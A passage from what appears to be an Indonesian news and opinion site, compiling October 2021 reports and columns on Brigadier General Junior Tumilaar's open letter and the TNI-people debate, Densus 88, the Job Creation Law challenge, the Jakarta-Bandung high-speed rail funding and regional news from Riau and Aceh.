konstitusi UUD 1945 negara Indonesia adalah negara yang berkedaulatan rakyat dan juga negara hukum juga sudah selesai. Tapi jangan coba-coba giring seolah TNI adalah milik presiden yang kemudian diartikan TNI harus tunduk pada presiden secara vertikal dan tunggal. Ini berbahaya. Karena TNI akan mudah dijadikan sebagai alat kekuasaan dan politik partisan. TNI berada di atas semua golongan, dimana TNI sebagai anak kandung rakyat, akan selalu utama mementingkan kepentingan rakyat dan negara di atas kepentingan kekuasaan (penguasa). TNI tunduk pada asas supremasi sipil, tapi bukan berarti TNI bisa dikendalikan dan dikuasai kepentingan politik kelompok. Dan kemanunggalan TNI bersama rakyat adalah formulasi ampuh, agar TNI berpolitik negara, bukan politik praktis. Agar TNI setia kepada rakyat dan konstitusi, bukan pada kepentingan elit penguasa. Itulah jatidiri TNI. Insya Allah.

Gubernur Riau Tinjau Laboratorium Produksi Ekstrak Ikan Gabus di Siak

Pekanbaru, FNN - Gubernur Riau Syamsuar melakukan peninjauan Laboratorium Inovasi Siak, PT Alam Siak Lestari di Kabupaten Siak sekaligus menyaksikan proses pengolahan ekstrak ikan gabus menjadi albumin yang berkhasiat untuk kesehatan. "Di kalangan masyarakat kita daging ikan gabus bisa sebagai obat penyembuh luka seperti persalinan maupun sunat," kata Syamsuar, ketika meninjau Laboratorium Inovasi Siak, PT Alam Siak Lestari, Selasa. Gubernur mengakui bahwa saat ia terpapar COVID-19 juga mengonsumsi albumin sebagai obat untuk pemulihan yang dikandung ikan gabus. "Jadi albumin ini banyak khasiatnya," kata Syamsuar yang juga didampingi Kepala Dinas Lingkungan Hidup dan Kehutanan Provinsi Riau Mamun Murod. Peneliti muda Laboratorium Inovasi Siak, Aufa menjelaskan, pihaknya menggunakan teknologi distilasi uap suhu rendah untuk mengekstrak albumin dari ikan gabus ke dalam bentuk cair. Teknologi tersebut merupakan teknologi sederhana yang sengaja menggunakan teknologi sederhana agar masyarakat dapat terlibat dan menggunakan dengan mudah. "PT Alam Siak Lestari juga dibentuk sebagai perusahaan berbasis masyarakat dimana kepemilikan saham juga terbuka langsung bagi masyarakat," katanya. Ia menjelaskan, perusahaannya memanfaatkan lahan gambut untuk budi daya ikan gabus yang sesuai dengan visi Siak Hijau yakni untuk menerapkan prinsip kelestarian dan keberlanjutan dalam pemanfaatan sumber daya alam sebesar-besarnya bagi masyarakat. Visi Siak Hijau dijabarkan dalam Peraturan Bupati Siak 22/2018 tentang Siak Kabupaten Hijau. Aturan ini akan menjadi payung hukum bagi berbagai kebijakan pembangunan di Kabupaten Siak. Awalnya pihak perusahaan merancang kawasan ini hanya untuk mencegah kebakaran di lahan gambut. Namun, saat ini fokus pada budi daya ikan gabus di lahan konservasi gambut dan area sekat kanal. Sejumlah peneliti Laboratorium Inovasi Siak meyakini, bahwa kualitas ekosistem gambut yang terjaga bisa membuat perkembangan spesies ikan gabus lebih sehat, juga mengandung protein sangat tinggi, berdasarkan hasil riset awal PT Alam Siak Lestari. Untuk pengembangannya, para peneliti Laboratorium Inovasi Siak menggunakan teknologi produksi ikan gabus di kawasan gambut. Setelah itu diolah menjadi ekstrak albumin atau protein dalam ikan yang memiliki berbagai khasiat untuk kesehatan, mulai dari percepatan regenerasi sel hingga penyembuhan luka. (mth)

Bupati Aceh Barat Sebut Adat Adalah Identitas Bangsa yang Harus Dijaga

Meulaboh, FNN - Bupati Aceh Barat Haji Ramli MS menegaskan adat istiadat merupakan warisan leluhur yang harus dijaga dan dilestarikan, sebagai muruah suatu daerah di mata dunia. "Adat adalah identitas bangsa yang harus kita jaga bersama demi menjaga marwah (muruah) suatu daerah," kata Ramli MS saat melantik kepengurusan Majelis Adat Aceh (MAA) Aceh Barat di Meulaboh, Selasa. Ia mengatakan, pemerintah dan ulama, sama-sama mempunyai kewajiban untuk menjaga adat istiadat tersebut agar tetap sejalan dengan syariat islam dan ideologi Pancasila. Untuk itu, menurut dia, pemerintah daerah terus mendorong penguatan terhadap peranan MAA Kabupaten Aceh Barat dalam menjaga kelestarian budaya dan adat istiadat di tengah era modern saat ini. “Jangan sampai adat istiadat Aceh dianggap kuno oleh generasi millenial,” kata Ramli MS, menambahkan. Ia menegaskan peran Majelis Adat Aceh sangat dibutuhkan guna menumbuhkan kecintaan masyarakat, khususnya generasi muda, terhadap budaya dan adat istiadat Aceh yang tetap berlandaskan pada nilai-nilai islami dan Pancasila. Menurutnya, adat dan budaya harus bisa menjadi perekat persatuan lintas generasi, sebagai salah satu bentuk penguatan terhadap jati diri bangsa. Ia juga menjelaskan bahwa adat istiadat Aceh sangat indentik dengan syariat Islam, selaras dengan semboyan “adat bak poteumeureuhom, hukom bak syiah kuala” yang mempunyai makna bahwa adat itu ada pada seorang pemimpin, sedangkan hukum ada pada ulama. (mth)

Letjen TNI Kiki Syahnakri : Pimpinan TNI Perlu Kearifan Tinggi Tangani Kasus Brigjen Junior

Jakarta, FNN - Ketua Umum Persatuan Purnawirawan TNI AD PPAD) Letjen TNI (Purn) Kiki Syahnakri mengimbau pimpinan TNI, khususnya pimpinan TNI AD harus bersikap bijak dalam menangani kasus Brigjen TNI Junior Tumilaar. Dalam penilaian Kiki, Inspektur Kodam XIII Merdeka Brigjen TNI Junior Tumilaar saat ini sedang menyuarakan kembali peran ideal dari TNI sebagai tentara pejuang, tentara rakyat, dan tentara nasional. “Saya mengimbau para petinggi TNI, para pimpinan TNI Angkatan Darat perlu kearifan yang sangat tinggi dalam menyelesaikan masalah ini,” ujar Kiki dalam wawancara yang ditayangkan oleh channel Hersubeno Point, FNN, Selasa 12 Oktober 2021. Brigjen Junior membetot perhatian publik karena mengirim surat terbuka kepada Kapolri. Dalam suratnya Junior mempersoalkan penahanan seorang warga yang tanahnya dirampas pengembang, dan pemanggilan seorang Babinsa oleh polisi karena membela rakyat itu. Junior kemudian diperiksa oleh Pomdam AD. Seperti dinyatakan oleh Komandan Puspom AD Letjen TNI Chandra W Sukotjo melanggar disiplin militer. Junior dinyatakan melanggar pasal 126 KUHPM yang ancaman hukumannya 5 tahun penjara, dan pasal 103 (1) KUHPM. Kiki mengingatkan kasus serupa pernah terjadi di Karawang, Jawa Barat. Saat terjadi sengketa antara sebuah perusahaan besar yang menguasai lahan dengan 200 orang penggarap. “Rakyat sudah menggarap puluhan tahun tanah itu. Menurut undang-undang rakyat berhak atas tanah itu,” tuturnya. Kodim Karawang turun tangan berpihak pada rakyat. Berkoordinasi dengan BPN. Langkah Komandan Kodim ini didukung oleh satuan di atasnya, bahkan sampai Mabes TNI. BPN tak pernah menerbitkan sertifikat untuk perusahaan ini. Malah sebaliknya menerbitkan sertifikat untuk penggarap. “Akhirnya lahan itu dibeli oleh perusahaan. Ini win-win solution,” tambah Kiki. Kasus di Karawang itu menurut Kiki menunjukkan bahwa TNI secara kelembagaan berpihak pada rakyat. Seperti kita ketahui kasus Brigjen Junior ini kemudian mengundang komentar dari Gubernur Lemhanas Letjen TNI (Purn) Agus Widjojo. Dia menyatakan apa yang dilakukan oleh Junior yang mengatasnamakan sebagai tentara rakyat adalah pemahaman yang salah. Soal inipun kemudian dipersoalkan oleh Kiki. Dia menilai Agus sesat pikir. Dalam penilaian Kiki, ada dua kesesatan berfikir dari Agus. Pertama, pernyataan Agus bahwa rakyat bukan punya TNI. Tapi punya Presiden. Kedua, soal kemanunggalan TNI dengan rakyat itu untuk perorangan. Bukan lembaga. Hal itu juga bertentangan dengan amanah UUD 4 pasal 27 (3) soal Bela Negara, dan pasal 30 (1) yang mengatur hak dan kewajiban setiap warga negara untuk keamanan negara. Selain itu dalam pasal 30 (2) tentang Sistem Pertahanan Keamanan Rakyat Semesta. (end)

Yayasan Lngkungan Ajukan Uji Materi Undang-Undang Cipta Kerja

Banda Aceh, (FNN) - Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja digugat kembali ke Mahkamah Konstitusi (MK). Kali ini yang mengajukan gugatan uji materi adalah Yayasan Hutan Alam dan Lingkungan Aceh (HAkA). Sekretaris Yayasan HAkA, Badrul Irfan mengatakan, uji materi dilakukan terhadap Pasal 22 Angka 5 UU tersebut terkait perubahan ketentuan Pasal 26 Ayat (3) Undang-Undang Nomor 32 Tahun 2009 tentang Perlindungan dan pengelolaan lingkungan hidup. "Pasal dalam undang-undang tersebut mengatur ruang partisipasi publik dalam proses pembuatan analisa mengenai dampak lingkungan atau amdal," kata Badrul Irfan, di Banda Aceh, Selasa, 12 Oktober 2021. Menurut Badrul Irfan, Pasal 22 Angka 5 UU tersebut mengatur, dalam penyusunan amdal dilakukan dengan melibatkan masyarakat terkena dampak langsung. Padahal, Pasal 26 Ayat (3) Undang-Undang Nomor 32 Tahun 2009 mengatur penyusunan amdal dilakukan melibatkan masyarakat terkena dampak, pemerhati lingkungan, dan atau terpengaruh atas segala bentuk keputusan dalam proses analisa mengenai dampak lingkungan. Badrul Irfan mengatakan, dihapusnya hak partisipasi pemerhati lingkungan dan atau yang terpengaruh atas segala bentuk keputusan dalam amdal inilah menjadi alasan Yayasan HAkA mengajukan uji materi UUCK. Dikutip dari Antara, Badrul Irfan mengatakan pelibatan masyarakat pada proses amdal yang hanya terbatas pada masyarakat terdampak langsung dari suatu pembangunan, dikhawatirkan akan menurunkan kualitas dokumen yang seharusnya disusun secara kritis. Selain itu, pembatasan partisipasi tersebut juga menyebabkan pemerhati lingkungan ataupun masyarakat lainnya kehilangan hak memperjuangkan atau mempertahankan haknya terhadap lingkungan yang baik dan sehat sebagaimana dijamin oleh Konstitusi. "Lingkungan yang baik dan sehat itu adalah hak konstitusional yang dijamin oleh konstitusi. Dihapusnya hak partisipasi pemerhati lingkungan pada proses amdal telah menyebabkan hilangnya hak konstitusional kami selaku lembaga pemerhati lingkungan," kata Badrun. (MD).

Mengapa Fadli Zon Mengusulkan Pembubaran Densus 88?

Oleh: Tjahja Gunawan CUITAN Fadli Zon di twitter tentang usulan agar Densus (Detasemen Khusus) 88 Antiteror Polri dibubarkan sudah dihapus sendiri oleh FZ. Namun, cuitan Politikus Partai Gerindra ini sudah terlanjur menimbulkan reaksi dan pro kontra dari berbagai kalangan di masyarakat terutama warganet. Mabes Polri sendiri langsung merespon pernyataan Fadli Zon tersebut. Melalui Kabag Penum Divisi Humas Polri Kombes Ahmad Ramadhan mengatakan pihaknya tidak ambil pusing dengan usulan anggota DPR-RI Fadli Zon itu. Menurut Ramadhan, pihaknya akan terus bekerja untuk menuntaskan permasalahan terorisme di Indonesia. "Prinsipnya kita tetap bekerja, kita tidak mendengar hal-hal terkait tersebut. Kita tetap melakukan upaya-upaya dalam hal pencegahan dan penegakkan terorisme di Indonesia," kata Ramadhan di Mabes Polri sebagaimana dikutip Tribune news di Jakarta, Senin (11/10/2021). Twitter pribadi @fadlizon, Fadli meretweet sebuah berita berjudul 'Densus 88 Klaim Taliban Menginspirasi Teroris Indonesia'."Narasi semacam ini tak akan dipercaya rakyat lagi, berbau Islamifobia. Dunia sdh berubah, sebaiknya Densus 88 ini dibubarkan saja. Teroris memang harus diberantas, tapi jgn dijadikan komoditas," tulis Fadli dalam cuitannya. Belum diketahui alasan FZ menghapus cuitannya di twitter. Yang jelas, pro kontra atas usulan Fadli Zon sudah merebak di tengah masyarakat terutama di kalangan warganet. Bahkan jaringan Radio Trijaya membahas khusus masalah tersebut dalam Program Trijaya Hot Topic Petang, hari Selasa (12/10/2021). Acara talk show tersebut berjudul "Pro Kontra Pembubaran Densus 88" dan menghadirkan dua narasumber. Pertama, Muhammad Syauqillah Ph.D, Ketua Program Studi Kajian Terorisme Sekolah Kajian Strategik dan Global Universitas Indonesia dan Ketua BPET MUI. Nara sumber kedua, Haris Amir Falah, mantan narapidana teroris. Dalam flyer yang beredar di sejumlah grup WA, acara tersebut dipandu oleh Penyiar Radio Trijaya, Margi Syarief. Sikap agak santai menyikapi usulan Fadli Zon tersebut, ditunjukkan Kepala Densus 88 Antiteror Polri Irjen Martinus Hukom. Dia mengaku tidak mempermasalahkan pernyataan Fadli Zon yang meminta agar Densus 88 dibubarkan. "Buat kami, kami kerja saja. Dan kami tidak terganggu. Kami merasa bersyukur dan berterima kasih ada koreksi dari publik terhadap kami," ujar Kadensus 88 Antiteror, Martinus Hukom sebagaimana dikutip portal berita Media Indonesia, Senin (11/10). Menurutnya, kebebasan berbicara ialah bentuk sebuah demokrasi. Artinya, kata Martunis, kebebasan adalah bagian dari koreksi terhadap pihaknya dalam bekerja.Jika Presiden sebagai pimpinan lembaga negara boleh dikritisi tindakannya, maka hal itu pula berlaku untuk satuan khusus di bawahnya."Wong Presiden saja boleh dikritisi dalam demokrasi. Artinya, kami menerima itu sebagai suatu konsekuensi kita dalam sistem demokrasi," pungkasnya. Namun Martinus enggan berkomentar terkait dengan tudingan Fadli yang mengatakan bahwa Densus saat ini terlalu islamophobia. Densus 88 Anti Teror adalah satuan khusus milik Kepolisian Negara Republik Indonesia. Pasukan ini khusus ditugaskan untuk menghancurkan setiap jenis tindak pidana terorisme di Indonesia. Satuan khusus kontraterorisme ini dirintis oleh Komjen. Pol. Gories Mere, salah satu tokoh berpengaruh di Kepolisian Negara Republik Indonesia yang berasal dari Flores, pelosok Timur Indonesia. Densus 88 diresmikan oleh Kepala Kepolisian Daerah Metropolitan Jakarta Raya Irjen. Pol. Firman Gani pada 26 Agustus 2004. Densus 88 AT Polri ini awalnya hanya beranggotakan 75 orang yang dipimpin waktu itu oleh AKBP Tito Karnavian yang pernah mendapat pelatihan khusus di beberapa negara. Tahun 2011, jumlah personil Densus 88 AT Polri sebanyak 337 orang. Lambang Densus 88 Anti Teror adalah Burung Hantu. Mereka dilatih secara profesional untuk menangani semua jenis aksi teror di Indonesia. Beberapa anggota Densus 88 direkrut dari Satuan Perlawanan Teror Pasukan Gegana Korps Brigade Mobile Kepolisian Negara Republik Indonesia. *** *) Wartawan senior FNN

Rakyat Ditipu Wakil Rakyat Diperkosa

By M Rizal Fadillah RAKYAT ditipu Wakil Rakyat diperkosa, kok bisa ? Bisa, jika rencana penggunaan dana APBN untuk proyek Kereta Cepat Jakarta Bandung direalisasi. Disain untuk ini diawali dengan menunjuk "Duta Besar China" Luhut Binsar Panjaitan sebagai Ketua Komite Kereta Cepat Jakarta Bandung menggeser peran Koordinator Airlangga Hartarto. Mengapa rakyat ditipu ? Karena sejak awal Presiden Jokowi mengkampanyekan bahwa proyek ini tidak sedikitpun akan didanai dari APBN tetapi dari obligasi konsorsium BUMN atau patungan. Investasi China adalah utama dengan skema kerjasama Business to Business (B to B). Akan tetapi setelah berjalan pembangunan dan mangkrak tiba-tiba terbit Perpres No 93 tahun 2021 yang membolehkan penggunaan dana APBN. Kejutan sekaligus melestarikan kebiasaan bohong Presiden ini adalah beban baru bagi negara. APBN harus mendapat persetujuan DPR. Meskipun DPR dapat menolak, akan tetapi akibat dari kooptasi Presiden atas Partai Politik maka persetujuan diperkirakan mudah untuk didapat. DPR dapat dipaksa karena anggota tidak berdaya. Perkosaan politik dilakukan dengan leluasa. Dengan alasan "daripada rugi" dan ,"gagal proyek" maka akhirnya dana APBN diduga terpaksa terkucurkan untuk menolong kebodohan. Biaya anggaran awal ditetapkan sebesar 86,5 Trilyun membengkak menjadi 114,2 Trilyun. Alasan pandemi atas mangkrak dan meningkatnya anggaran tidak mudah untuk diterima, audit harus dilakukan. Janji Kementrian BUMN bahwa dana APBN tidak akan diselewengkan butuh pembuktian. Sejak awal proyek ambisius Jokowi ini telah menimbulkan pro dan kontra. Kerjasama dengan China untuk kereta cepat jarak dekat dipertanyakan. Asumsi sukses diragukan. Apa yang terjadi jika nanti penumpang ternyata sepi. Analis memperkirakan selama 40 tahun PT KAI sebagai lokomotif perusahaan patungan akan merugi. Memang tidak habis pikir, kereta cepat dari Ibukota ke Bandung ini dibuat untuk kemudian Ibukota pindah ke Kalimantan. Nah, pembiayaan Ibukota baru yang konon menggunakan dana "kecil" APBN dipastikan bohong kembali. Kereta China yang awal hanya 86,5 Trilyun saja amblas apalagi Ibukota baru dengan anggaran sekitar 500 Trilyun. Di tengah dana negara yang cekak dan hutang menumpuk. Presiden Jokowi tidak boleh berspekulasi dalam proyek-proyek infrastruktur. Ambisi pribadi jangan didahulukan, apalagi dengan menipu rakyat dan memperkosa wakil rakyat. Untuk hal kecil saja seperti penjualan tol Cibitung Cilincing yang hanya 2,4 Trilyun membuat kerut dahi, padahal biaya konstruksi yang telah dikeluarkan adalah 10,8 Trilyun. Rugi 8,4 Trilyun. Jokowi memang jenius. Proyek Kereta Cepat di bawah pengelolaan PT Kereta Cepat Indonesia China (KCIC) bukan solusi tetapi beban. Pemerintahan Jokowi harus bertanggungjawab. Jika ternyata gagal bukan saja harus turun tetapi juga dihukum. *) Pemerhati Politik dan Kebangsaan

Junior Tumilaar, Prajurit Rakyat Sebenarnya

Oleh Ady Amar *) AKSI heroik Brigjen Junior Tumilaar, meski hanya menulis surat terbuka pada Kapolri, ia menerima konsekuensi dicopot dari jabatannya selaku Inspektur Komando Daerah Militer (Kodam) XIII/Merdeka. Saat ini ia "dibantarkan" sebagai Staf Khusus KSAD. Karena aksinya itu ia dianggap melanggar disiplin militer dan hukum pidana militer. Sebagai militer aktif, aksi Brigjen Junior Tumilaar itu gegabah, sekalipun yang dilakukan itu hal manusiawi. Tetap ia dianggap melanggar, dan tidak mustahil diseret ke pengadilan militer. Dalam beberapa kesempatan wawancara di media, ia tetap lantang. Tidak sedikitpun ia gusar apalagi takut dengan ancaman hukuman yang menanti. Dengan terus tampil ke publik, itu hal yang sebenarnya tidak menguntungkan buatnya. Ia sampaikan, bahwa aksinya menulis surat terbuka pada Kapolri, itu hal yang sudah dipikirkannya. Ia sadar akan konsekuensi yang bakal diterima. Ia melakukan pembelaan pada Babinsa, yang melindungi seorang warga yang berurusan dengan perusahaan pengembang, menurutnya itu memang satu keharusan. Ari Tuheru, nama orang yang dilindungi Babinsa adalah orang kecil dan seorang yang buta huruf. Melihat itu, Brigjen Junior melakukan pendekatan sampai ke Kapolda Sulawesi Utara. Tapi tidak mendapat jawaban memadai. Maka surat terbuka dilayangkannya, dan geger. Surat terbuka pada Kapolri, yang ditulis tangan oleh Junior Tumilaar, itu viral. Aksinya itu dianggap indisipliner, dan ia sadari konsekuensi yang akan didapat, tapi ia tetap berasumsi bahwa tugas tentara adalah membela rakyat. Disitulah nuraninya berbicara, dan siap menjemput risiko yang menanti. Terkadang nurani mampu mengalahkan pertimbangan akan sanksi yang bakal diterima. Brigjen Junior Tumilaar karena aksinya itu akan menerima hukuman, dan ia siap menerimanya sebagai konsekuensi atas sikapnya. Setidaknya itu yang dikatakannya. Tapi bagi rakyat, terutama prajurit TNI, khususnya AD, ia justru jadi idola baru yang dibanggakan. Ia seolah menarik kesadaran yang hampir hilang, bahwa sejatinya tentara itu pembela rakyat. Hadir saat rakyat membutuhkan. Petang kemarin (9 Oktober), di sebuah stasiun televisi swasta yang mewawancarainya, ia tampak emosional saat menerangkan upayanya membela rakyat kecil melawan korporasi pengembang. Hingga pecah tangisnya segala, tentu bukan tangis ketakutan sang jenderal. Tapi emosi yang tak tertahankan menyebabkan tangisan itu pecah. Mengadilinya di Pengadilan Militer, jika kasus ini diteruskan, tidak mustahil akan menyedot emosi penuh haru masyarakat luas yang dampaknya sulit bisa diprediksi, khususnya dikalangan internal militer. Surat terbuka pada Kapolri, itu memang masuk kategori indisipliner, karena Brigjen Junior masih perwira militer aktif. Itu satu sebab. Tapi sebab lain dimunculkan, bahwa apa yang dilakukannya itu demi menjaga nama baik tentara, khususnya AD, untuk tetap membela dan membersamai rakyat. Itu yang melatarbelakangi tindakannya. Kasus ini akan jadi pelik, seolah pertarungan antara peraturan yang mesti diikuti dan membela kepentingan rakyat kecil, dan itu tuntutan nurani. Ini bagai pisau bermata dua. Prajurit Rakyat Junior Tumilaar dikenal sebagai jenderal yang amat sederhana. Di Bandung ia masih tinggal di rumah dinas AD di Geger Kalong, yang atap rumah dinas itu seperti sudah mau runtuh. Itu setidaknya yang disampaikan pengamat politik dan militer Universitas Nasional (Unas), Selamat Ginting, dalam obrolan dengan jurnalis senior Hersubeno Arief, di Forum News Nerwork (FNN). Ada lagi yang menarik dari apa yang disampaikan Bung Selamat Ginting, itu tentang latar belakang kemiliteran tokoh satu ini. Jenjang kepangkatan dari Letkol dan Kolonel, itu butuh waktu 20 tahun, itu waktu yang panjang. Dan 17 tahun ia bertugas sebagai Guru di TNI AD. Para perwira setingkat Kolonel yang ada saat ini sebagian adalah murid-murid yang pernah diajar beliau. Junior melanglang setidaknya di 6 Kodam, itu yang menyebabkan ia kaya pengalaman teritorial, dan itu bersentuhan dengan rakyat. Saat ditanya, akan jadi apa ia setelah pensiun. Jawabnya, ingin jadi guru. Dan Junior Tumilaar ini memang intelek, punya pendidikan sampai program doktoral (S3), jurusan Hubungan Internasional, Universitas Pajajaran. Kuliah S3 nya sudah selesai, tapi untuk penelitian disertasi belum ia lakukan, itu karena ketiadaan biaya. Katanya, saya harus utamakan biaya kuliah anak-anak dulu. Begitu sederhananya jenderal satu ini, yang sepertinya itu hal mustahil masih ada di zaman penuh godaan ini. Melihat sosoknya dengan pengabdian lebih dari 30 tahun di militer, menjadi tampak tidak adil jika nasib harus menyeretnya ke terali besi. Ia disangkakan melakukan pelanggaran pada Pasal 126 dan Pasal 103 (ayat 1) Kitab Undang-undang Hukum Pidana Militer (KUHPM). Sedikitnya 4 tahun penjara, jika hanya Pasal 126 KUHPM, itu yang jadi acuan tuntutan. Brigjen Junior Tumilaar, dalam surat terbukanya pada Kapolri, mengingatkan bahwa sebagai prajurit ia adalah prajurit rakyat. Dan ia mengajak Kapolri juga sebagai pelindung rakyat, dan bukan pelindung para pengembang. Narasi dalam suratnya itu lugas-tegas. Sebenarnya apa yang disampaikannya itu bukan sesuatu. Menjadi sesuatu bahkan mencengangkan, karena itu disampaikan perwira militer aktif, dan secara terbuka. Waktu yang akan menentukan nasib Brigjen Junior Tumilaar itu. Ia akan "dimaafkan" atau justru diadili di Pengadilan Militer dan dipenjarakan. Tidak ada yang tahu sampai nasibnya diputuskan pada waktunya. Terkadang gelaran "pahlawan" diberikan sejarah pada saatnya, meski seseorang dianggap bersalah dan harus dipenjarakan. Wallahu a'lam. (*) *) Kolumnis

Pisahkan TNI dari Rakyat, Otak Agus Widjojo Kerasukan Paham Komunis.

GUBERNUR Lembaga Ketahanan Nasional (Lemhanas), Agus Widjojo sedang kerasukan paham komunis. Bisa juga ia sedang kerasukan sistem pemerintahan di negara monarkhi atau kerajaan. Narasinya, rakyat itu punya presiden, bukan punya Tentara Nasional Indonesia (TNI) apalagi punya Panglima TNI, sangat menyakitkan tentara dan rakyat. Itu tidak lain karena ucapannya yang memelintir pemisahan antara TNI dengan rakyat. Purnawirawan berpangkat letnan jenderal itu memiliki pemahaman yang dangkal mengenai hubungan TNI dan rakyat. Dia tidak mengerti, sejak dahulu kalau rakyat itu menjadi pejuang dalam berusaha merebut kemerdekaan Indonesia. Agus Widjoyo pantas mendapat hujatan dari berbagai lapisan masyarakat, terutama TNI yang selama ini bahu-membahu menjaga keutuhan Negara Kesatuan Republik Indonesia (NKRI) yang berdasarkan Pancasila dan Undang-Undang Dasar 1945. Pun juga saling bahu-membahu merawat dan menjaga Bhinneka Tunggal Ika, meskipun berbeda-beda tetapi pada hakikatnya bangsa Indonesia tetap satu kesatuan. Gubernur Lemhanas menyampaikan kata-kata nyeleneh. Hal itu dilakukannya setelah Brigadir Jenderal Junior Tumilaar, saat menjabat sebagai Inspektorat Komando Daerah Militer (Irdam) XII Merdeka mengirimkan surat kepada Kepala Kepolisian Republik Indonesia (Kapolri), yang intinya membela Babinsa (Bintara Pembina Desa) yang dipanggil aparat Kepolisian Resor Kota (Polresta) Manado, Sulawesi Selatan. Itinya, Junior keberatan pihak kepolisian memanggil anggota Babinsa dalam kasus pelaporan lahan milik antara Ari Tahiru (penduduk setempat) dengan PT Ciputra Internasional. Junioar tidak rela anggota Babinsa dipanggil polisi. Nah, kembali ke narasi Agus yang menyebutkan, rakyat adalah milik presiden, bukan TNI apalagi panglima TNI, jelas sangat bertentagan dengan konsep-konsep kemanunggalan TNI dan rakyat. Menurut Agus, rakyat dan TNI itu hanya menyatu dalam perang. "Jadi awalnya adalah TNI kan ini lahir dari bangsa yang berjuang. Kita belum punya negara, jadi yang berjuang itu adalah rakyat, menyatu itu," kata Agus Widjojo seperti dalam tayangan channel Youtube Najwa Shihab. "Bahkan sebetulnya perjuangan merebut kemerdekaan itu adalah perjuangan politik. Sehingga terbagi-bagi atas laskar-laskar. Jadi ada laskar Hizbullah, Laskar Nasionalis, begitu kan. Itu dijadikan satu, jadi TNI. Jadi TNI dari sejak awal memang harus berdamai dengan politik, karena dia harus menyatukan politik," ujarnya. "Nah waktu perang, itu memang menyatu dengan rakyat, waktu perang. Prinsip perang gerilya kan, antara ikan dan air. Tetapi, setelah menjadi demokrasi setelah merdeka, rakyat itu punyanya presiden. Rakyat itu punyanya yang dipilih oleh rakyat, memenangkan Pilpres, Pemilu. Kepala daerah, presiden. Jadi rakyat itu lebih dekat dengan Bu Khofifah daripada dengan Panglima," lanjutnya. "Mengapa? Panglima TNI tidak pernah dipilih oleh rakyat, sehingga dia tidak punya hak untuk menjangkau rakyat. Juga kepada sumber daya sipil di masa damai, TNI itu tidak punya kewenangan. Itu adalah dwifungsi. Kalau dwifungsi karena dimanjakan oleh Pak Harto dan memang diberikan free range oleh Pak Harto karena sudah percaya, dijamin untuk mendukung kekuasaan Pak Harto maka dia diberikan free range," kata Agus Widjojo. "Sekarang enggak, rakyat itu punyanya presiden. Dan kalau dilihat aslinya, doktrin-doktrin kemanunggalan TNI-rakyat itu untuk prajurit, bukan untuk institusi. Jadi, artinya kalau rakyat even kalau sedang latihan haus minta air ya jangan bentak-bentak. Kalau misalnya mau periksa rumah penduduk jangan ditendang pintunya dirusak," jawab Agus Widjojo. Itulah antara lain kalimat-kalimat yang dikutip dalam wawancara antara Nazwa Shihab dengan Agus. Ia terus berusaha memisahkan TNI dengan rakyat. Padahal, sejak awal TNI itu berasal dari rakyat, untuk rakyat dan oleh rakyat. Agus mengatakan, perjuangan merebut kemerdekaan adalah perjuangan politik. Dia lupa, dalam perjuangan itu ada perjuangan angkat senjata, perjuangan politik dan diplomasi. Akan tetapi, jika membaca sejarah, perjuangan Kemerdekaan Indonesia yang dijajah Belanda dan Portugis selama 350 tahun, serta Jepang 3,5 tahun, jelas lebih banyak didominasi perjuangan fisik atau angkat senjata. Ingat perjuangan Tuanku Imam Bonjol, Sisingamangaraja XII yang bergelar Patuan Besar Tuanku Oppu Batu, Pangeran Diponegoro, Ahmad Pattimura, Fatahillah, dan sederet nama lainnya yang diabadikan menjadi Pahlawan Nasional. Kok Agus Widjojo sudah mulai pikun, sehingga melupakan sejarah perjuangan rakyat. Mungkin otaknya sudah kental dengan paham komunis dan kerajaan, sehingga semuanya milik presiden (di negara komunis) dan milik raja (di kerajaan). Apakah sebagai anak seorang Pahlawan Revolusi Mayor Jenderal (Anumerta) Sutoyo Siswodihardjo wajar memutar-balikkan sejarah dan fakta. Coba baca sejarah lagi. Sebelum merdeka, betul perjuangan dilakukan oleh pejuang-pejuang nasional, terutama ulama yang memimpin beberapa laskar. Nah, setelah merdeka, kemudian dibentuk Badan Keamanan Rakyat (BKR). Inilah cikal bakal TN. Pada 5 Oktober 1945, BKR kemudian berganti nama menjadi Tentara Keamanan Rakyat (TKR), dan selanjutnya diubah menjadi Tentara Republik Indonesia (TRI). Namanya, selalu menggunakan kata rakyat, sebelum akhirnya pada 3 Juni 1947, Presiden Soekarno mengesahkan berdirinya Tentara Nasional Indonesia (TNI) secara resmi. Sejarah kemudian mengubah TNI menjadi Angkatan Perang Republik Serikat (APRIS), seiring dengan berubahnya Indonesia menjadi negara federasi, Desember 1949 dengan nama Republik Indonesia Serikat (RIS). Ketika RIS dibubarkan 17 Agustus 1950, maka APRIS pun berganti nama menjadi Angkatan Perang Republik Indonesia (APRI). Tahun 1962, dilakukan penyatuan angkatan perang dengan kepolisian negara, sehingga menjadi ABRI (Angkatan Bersenjata Republik Indonesia). Betul selama orde baru ada kesalahan dalam menerapkan Dwifungsi ABRI. Konsep yang diletakkan Jenderal Besar Abdul Haris Nasution disalahgunakan oleh Jenderal Besar Seoharto guna melanggengkan kekuasaannya sebagai presiden. Akhirnya, Seoeharto dan Nasution yang sama-sama berhasil membubarkan Partai Komunis Indonesia (PKI) bermusuhan. Akan tetapi, Dwifungsi tersebut berakhir seiring dengan jatuhnya Soeharto dari tampuk kepemimpinan Indonesia. ABRI dikembalikan menjadi TNI. Kemudian TNI pun dipisahkan dari Kepolisian RI. Kembali ke pernyataan Agus Widjojo itu. Jelas narasinya salah. Sekali lagi, rakyat adalah milik presiden adalah narasi yang bisa dikembangkan di negara komunis dan monarkhi. Bukankah sekarang ini sejumlah negara maju, seperti Amerika Serikat dan beberapa negara di kawasan Eropah justru mulai menerapkan perang grilya. Sebuah konsep perang yang ditulis Jenderal Abdul Haris Nasution dalam buku, “Perang Gerilya” yang sudah diterjemahkan dalam beberapa bahasa. Perang gerilya adalah sebuah pertempuran yang ‘melibatkan’ rakyat. Rakyat biasanya memberikan bantuan dalam beberapa hal, seperti waktu perang kemerdekaan. Perang gerilya adalah sebuah taktik menyatukan tentara dengan rakyat. Banyak hal yang positif bersatunya TNI dengan rakyat. Di masa orde baru ada Abri Masuk Desa (AMD). Tentara bersama rakyat membangun fasilitas desa, misalnya membangun jalan, membangun irigasi, dan fasilitas lainnya. Sekarang, hal itu masih berlanjut dengan nama Tentara Manunggal Membangun Desa (TMMD). Baik AMD dan TMMD, sama-sama melibatkan personil dari Angkatan Darat, Angkatan Udaran dan Angkatan Laut. Sewaktu AMD, tentu dengan tambahan dari aparat kepolisian, karena masih 